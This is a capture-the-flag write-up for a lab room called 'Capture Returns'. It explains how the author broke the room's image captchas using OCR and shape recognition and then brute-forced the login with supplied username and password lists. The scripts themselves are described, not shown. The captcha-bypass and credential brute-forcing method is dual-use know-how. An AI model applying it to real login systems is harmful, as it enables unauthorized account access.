Capture Returns
The developers have improved their login form since last time. Can you bypass it? - by toxicat0r
Last updated
The developers have improved their login form since last time. Can you bypass it? - by toxicat0r
Last updated
The following post by 0xb0b is licensed under CC BY 4.0
As always, we start with a Nmap scan and only have two open ports here, SSH on port 22 and a web server on port 80. The index page redirects directly to /login
. The room itself also provides a zip in which we have lists of passwords and usernames. So this is about brute forcing with a trick.
Seeing the name, the room creator, and we remember there was a challenge some month ago called capture, where a captcha has to be bypassed. The captchas were simple there, just some text that could be automatically evaluated to be answered. Check out the room if you have not done yet:
A writeup of the past challenge can be found here:
We visit the login page and lo and behold SecureSolaCoders strikes back. It really is a continuation of the challenge from back then, let's see what we're up against this time.
We try to log in, but unlike before with the challenge capture, we are not able to enumerate users in advance. If the credentials are incorrect, we receive the standardized message "Error: Invalid username or password".
If not already done, download the username and password lists.
After several failed login attempts one after the other, we finally receive the captcha, this time not as text but as an image. And we have to answer three in a row. We seem to have to determine the shape of an object. Fortunately, we are also told how many shapes actually exist. After trying around several times, we also see that the images are uniform in their type.
But there is another captcha, one like in the challenge before, only this time it is also a picture.
If we look at the source, we see that the image on the screen is in base64. So we have to keep in mind that we get the images of the page as base64 and then convert them back into image files later.
We now divide our project into three sections, the first of which is to build an image checker that can identify the captchas and convert them into text. Here we will probably produce a shape and a text recognizer code. We then bring these two parts together to form a single image checker.
Then we build a brute force script that gradually checks every password for every username and uses the image checker if a captcha is requested. In some parts, we can borrow from the solution of the challenge captcha.
We first download the images and prepare the image checker, which initially runs locally. Parts of the code can then be transferred to the brute-forcer script later or used directly.
Since I had nothing to do with image processing myself and this is a new field for me and I only knew the python-anticaptcha by name, I used Chat-GPT to get a basis for the code and an overview of which libraries can be used for the project to recognize formulas and shapes. After a few examples with cv2 and pytesseract, I took these modified from the GPT result and took over a snippet for the recognition of mathematical equations and adapted it slightly.
Below I provide the explanation from GPT:
The image is converted to grayscale and then binarized using thresholding. Binarization makes the text or shapes more distinct by converting the image to pure black and white.
The image is inverted if necessary to ensure that the text or shapes are in black and the background is white, which is a common assumption for most OCR technologies.
PyTesseract is applied to the binarized (and possibly inverted) image to extract text. The configuration
'--psm 6'
specifies the OCR’s page segmentation mode, which assumes a single uniform block of text.If any text is detected (
text.strip() != ""
), it's assumed to be a mathematical expression and returned as such.
With the math_check.py
script, we are able to transfer the mathematical expression in an image to text now. The further processing of the expression is described in the later section and is similar to the one of the challenge Capture.
Next, we need the Shape Checker, and I am similar to what I did before.
Below I provide the explanation from GPT:
Approximation of Polygonal Curves: The function uses
cv2.approxPolyDP
to simplify the contour shape into a polygon with fewer vertices. This is done by specifying a precision proportional to the contour’s perimeter (0.04 * cv2.arcLength(contour, True)
). The closer the approximation is to the original contour, the more accurate the shape recognition will be.Vertex Counting: The function counts the number of vertices (
num_vertices
) of the approximated polygon to determine the shape:
Triangle: 3 vertices.
Rectangle or Square: 4 vertices. Further checks are performed to distinguish between a square and a rectangle:
Compute the bounding rectangle of the polygon to obtain its width (
w
) and height (h
).Calculate the aspect ratio (
aspectRatio = float(w) / h
). If this ratio is close to 1 (between 0.95 and 1.05), it's classified as a square; otherwise, it’s a rectangle.Circle: More than 4 vertices. Technically, this is an oversimplification as true circle detection would require different techniques such as Hough Transforms or fitting an ellipse, but for simple purposes, a high vertex count suggests a rounded shape.
Unknown Shapes: If none of the above conditions are met, the function returns "Unknown".
The function takes a single parameter,
contour
, which represents the contours (the boundaries) of a shape detected in an image. The goal is to classify these contours into recognizable geometric shapes. Here’s how the function operates
With the shape_check.py
script, we are able to distinguish between the shapes, and represent those shapes to text. What we see is, that the mathematical expression is also evaluated to a shape, so that we have to consider in the later script, putting it all together.
Next, we merge both scripts into one, and check first for text and then for shapes to avoid shape detection on the text. We are now able to classify images in our directory and convert them into evaluable text.
We first intercept the request to log in and respond to the captchas in order to construct the request in our script.
Remember, when we have a captcha in front of us, there is a base64 string in the response. This allows us to distinguish whether we need to perform a log in request or a log in request. We use our offline image recognizer as a basis. The idea is to extract the image from the response and save it temporarily on our machine. This means that no further adjustments to our checker script are necessary.
To recognize and extract the base64 string, we write a small function that extracts it using string split. We then decode this string and save it via with open in the same order in which the script is located.
Furthermore, we must be able to evaluate our mathematical expressions. We already have a solution for this from the challenge capture. Here we remove =
and ?
from the detected expression and pass it to eval
.
The extension to brute forcing is now very simple. We go to read the lists of usernames and passwords and then go through the passwords for each user, if the response contains base64, we know that we have to answer captchas. We do this until there is no captcha image left in the response. We could also try three times in a row, but that would not be so safe in case user capture checker fails. This way, we only have to restart the check from the beginning. In our request, we also differentiate whether the error message Error: Invalid username or password
appears. If this is not the case, and we do not have a captcha, we know that we have successfully logged in.
After some time, the script will inform us of a successful login. Username and password are different depending on the instance. After a reset, a different credential pair may be required to log in.
We log in with the found credentials and we get the flag.